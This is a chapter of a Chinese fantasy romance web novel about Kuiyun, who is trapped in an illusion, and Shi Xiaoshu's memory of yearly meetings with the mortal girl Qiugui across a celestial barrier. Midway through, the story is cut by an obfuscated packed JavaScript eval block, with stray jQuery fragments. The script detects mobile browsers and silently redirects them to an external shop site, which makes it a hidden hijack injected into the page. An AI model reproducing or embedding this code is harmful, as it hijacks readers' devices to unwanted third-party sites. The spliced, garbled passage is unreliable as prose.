文趣网 > 其他小说 > 为了白月光活过三千年 > 32. 第 32 章
    三日前,魁云点出幻境境眼乃青衣人右眼,完颜无尽破阵遁出,魁云被青衣人一掌击落。传送阵闭合,白桂幻境,终于只余这对父子二人。

    魁云腹部被青衣人的光球洞穿,鲜血自创口和嘴角不断涌出。他艰难地翻过手腕,掌心化出一道生愈之气,缓缓渡入伤处。

    他抬眼,只见那青衣人并未阻拦自己疗愈,只是静静伫立,看着自己。

    眼下他不敢有丝毫懈怠,方才青衣人那一击分明直指要害,此刻又为何任自己喘息?

    白桂幻境的时间于外界不过一息须臾,而对于身处其中之人,时间的流逝真真切切,每一秒都带着令人毛骨悚然的实感:下一秒,青衣人或许仍有耐心,也或许杀机骤起。

    自己还剩几个时辰调息,魁云完全无法揣测。

    他越是催动生愈之术,元气耗损越是剧烈,伤口虽合,气力却是渐衰。如此拆东补西,何时才能复元?且不说还须时时留意青衣人的一举一动,其每一次踱步,每一分神情变化,皆须刻刻警觉,以备那猝然而发的杀意。

    他一心三用,全身紧绷,高度戒备,心跳如擂,几欲昏厥。

    青衣人见魁云久久未能痊愈,忽一拂广袖,转过身去,背对魁云。

    魁云心中一惊,来不及收式,顿撤生愈之气,欲转防式,结果体内气机逆涌,胸腔一热,又一口血自唇齿溢下。

    那青衣人回头瞥了魁云一眼,眼中未有丝毫波澜。他抬袖一挥,于空中勾勒出一道树状光符。

    符影初时如轻雾,继而化作实景,一株秀挺的白桂木自虚空生出,莹绿针叶间,白色桂花满缀。

    青衣人纵身向后一跃,飘然落于树根之上,屈单腿盘坐其间。树干因其重量轻晃,几朵白桂悠悠飘下,落于他的宽袖与发间。

    不知何时,他手中多出一册画本,纸页微黄,似是寻常的市井读物。他低头看书,指尖轻翻,每一页都极缓极慢。

    良久,他头也不抬,声线清淡,似是随意一问:“你真的没有名字?”

    魁云见其神情并无敌意,重新催动生愈之术,“没有。为了潜入元真军,曾借了一名早逝少年的名氏,谓魁云。”

    青衣人眼角微敛,未置一词。

    魁云唯恐这般沉默是暴风前的平静,寻思着无论如何要引他言话,为疗愈尽力拖延时间,便脱口道:“你叫什么名字?”

    话一出口,魁云懊悔不已。这个问题愚不可及,嘘鸣仙士怎会有姓名?

    青衣人却缓缓抬眸,淡声答道:“我的名字,是时晓书。”

    这回答全然出乎魁云意料。他未曾想青衣人竟会应答,更未料到他真有名字。

    “怎会…”魁云目露惊诧。

    “这是,她赐予我的名字。”

    时晓书垂眸,霎那间,五彩光影自其身后的白桂枝叶间铺陈开来,如彩墨渗入白宣,一寸一寸,将整座白桂幻境渲染成一片勃勃生机。

    原来,这白桂木生于一处峭壁边,崖下是汪洋中的无极仙境,崖上则连绵而起,楼阁层叠,廊桥逶迤。更高处,琉璃天梯直抵九霄,大殿重檐尽隐云海。

    此处,竟是嘘鸣阁!

    这白桂幻境,乃是时晓书封存于心的记忆画卷。

    .

    “喂——你听得见吗!”一个稚嫩清亮的女童声自悬崖下传来。

    魁云寻声垂眸望去,只见无极仙境的尖角处,一株苍翠的参天古树间闪着一抹朱红,细看竟是个小小人影。

    嘘鸣悬山浮于无极仙境尖角外侧的海面之上,平日下截山根离地百余尺,随潮汐起落升降。若寻常时分自上截峰峦俯瞰,只能依稀望见无极仙境的林海与村落轮廓。

    唯有每年朔望日,天地日月连成一线,海水汇聚至极,此时乃是一年之中嘘鸣悬山距人间最近之日。彼时渔舟可见,人影可辨。

    此刻既能看清崖下人影,必是逢了朔望大潮。

    “喂——”下方的声音依旧不依不饶。

    悬崖角的白桂木下,时晓书曲膝而坐,读着一册上古竹简。

    他身着嘘鸣弟子的藏蓝仙衣,面容与那青衣人无异,却少了分历经沧桑的阴翳,多了分青涩与澄澈。

    此刻坐于白桂木下的,是记忆中的时晓书。

    下方的喧嚷扰乱了时晓书读书的兴致。他将竹简卷好放至一侧,抬指一划,一道术法自指尖跃出,将参天古树上的人影拉了上来。

    那是一个身着朱红布衣的小姑娘,此时悬在结界外的半空中。她梳着双丫髻,眼睛又大又圆,脸颊红润,满脸稚气。

    “哇,我飞起来了!”她不但不怕,反倒欢喜得四下张望,最后目光落在时晓书身上,“你莫非就是嘘鸣山的仙人?”

    时晓书微微颔首,他还是头一回见到师兄们口中的凡人。

    “你…你能让我进来玩吗?”女孩央求道。

    时晓书摇了摇头,“嘘鸣阁四周设有上古结界,不可出入,你进不来。”

    他行至崖边,手向前伸去,但见四周上古符文骤现,将他的手掌稳稳阻在半空,无法逾越半分。

    女孩的失望之色转瞬即逝,她明媚笑道:“那,我们就这样隔空一起玩吧?”

    时晓书:“隔空,要如何玩?”

    “嗯…那就先彼此认识一下嘛。我叫秋桂,秋天的白桂。”秋桂指了指时晓书身后的白桂木。

    时晓书:“原来此树名白桂…嘘鸣山中,仅此一株,生于峭壁,倒是古怪。”

    秋桂:“这个季节,无极仙境可是白桂遍野呢。”

    顿了顿,秋桂又道:“你叫什么名字?”

    时晓书:“我没有名字。”

    秋桂:“这怎么可能,是个人就得有个名字呀。”

    时晓书:“嘘鸣仙人乃灵气孕化,无父无母,自然无名无姓。”

    秋桂:“那我怎么称呼你呢?”

    时晓书:“无需称谓,见到的是我,便是我。见到的是他,便是他。”

    时晓书这一番回答太过玄妙,秋桂听得云里雾里,只得岔开话头,“那你…今年多大啦?”

    时晓书:“一百余岁。”

    秋桂瞪大杏眼,半晌说不出话来。

    过了片刻,秋桂忽然笑道:“你这样貌,也就十八岁。我今年九岁,再过九年,便与你一般年岁啦!”

    说着,她又瞥见白桂木下那卷竹简,“你刚才在看书?”

    时晓书顺着秋桂的目光看去,点了点头,“《时仪经世录》,推演天地化生之象数。”

    秋桂的小脸皱成一团,嘟囔道:“看你年纪轻轻,读的书却这般古板。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504347|202869||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    时晓书一怔。藏书阁书卷数不胜数,可尽是这类经籍,难不成外界还有别的书册?

    他不由问道:“那你又读些什么?”

    秋桂眉飞色舞,“什么神怪传奇、世情小说…不过我才识字不久,只能去茶楼听先生说书。要说我最爱的,还是画本,字少图多,看着就清楚!”

    这番说辞,勾起了时晓书的好奇,“那所谓画本,都讲了些什么?”

    秋桂越发得意,“明天你拉我上来,我给你看。好不好?”

    时晓书却摇头,“嘘鸣悬山与无极仙境,一年唯有朔望日能够这般相近。明日山体升空,便超出我灵力所及之界。若要再会,须待来年此时。”

    秋桂欢声道:“那便说定了!来年此日,我给你带更多的画本!”

    时晓书眼中掠过一丝笑意,“好。来年此日,再续此约。”

    幻境之中,四季轮转,白驹过隙,倏忽间已是第二年的朔望大潮,秋桂依约而至。她背着一只大竹篓,篓中画册盈盈。二人之间隔着一道结界,她便那样浮于结界外侧,一页一页为他翻阅。

    第三年、第四年、第五年,年年如是。

    时光荏苒,年轮渐长,当初的黄毛丫头已出落得亭亭玉立。她带来的书,也从画本渐渐换作了词章诗卷。

    又是一年朔望日,秋桂十六岁。

    此时她已通晓大半文字,便悬于结界之外,朗声诵读词章。

    时晓书斜靠白桂古干,一手牵灵丝,一手支颐,闭目聆听。忽清风掠过,书页间一枚红叶书签卷起,红叶翻飞,穿过结界,落在时晓书颊边。

    诵声戛然而止。时晓书微微睁眼,指尖拈起叶柄,疑惑望去,却见秋桂目瞪口呆地看着自己。

    时晓书一怔,眼中带着些许不可置信,灵丝倏然内收。秋桂纤弱的腰肢被灵丝牵动,轻易穿过了结界。

    她猝不及防跌入时晓书怀中,时晓书下意识将她护住,白桂纷落,清香满溢。

    不知过了多久,秋桂缓缓起身,时晓书也轻轻松开十指,指尖如梳齿,从秋桂的发间掠过:初次见面时的双丫髻,不知何时,已换成了少女发式。

    时晓书抬眸,与秋桂四目相对,鼻尖相隔仅有一指。他眼底波澜骤起,眸光微颤,仿佛一眼万年。

    “你…我…”秋桂被这灼热目光烧得耳根通红,一时语无伦次。

    时晓书方才如梦初醒,轻轻眨眼,二人仓促分开。

    “我…我并无他意…”

    在嘘鸣阁修行百年的时晓书,何曾懂得此般情境,此般情念。

    只闻秋桂在身侧一声轻笑,时晓书这才怯怯向她望去。

    秋桂垂首含胸,方才的羞涩还未褪去,却又抬眼戏笑道:“这些年你口口声声说什么上古结界,莫不是在戏弄我的?”

    时晓书急忙摇头:“自非虚言!”

    恰此时,一朵白桂落在时晓书肩头。

    这嘘鸣山上,为何仅此一株白桂?时晓书许久以前,曾经产生过如此疑问。

    此刻,他方才明白,或许正是百年前某次朔望大潮时,从无极仙境随风飘来了一粒白桂种子。种子在此边界生根发芽,终长成了嘘鸣山上唯此一株的白桂木。

    这上古禁制,禁得了仙人步出界外,却禁不得凡物步入其中。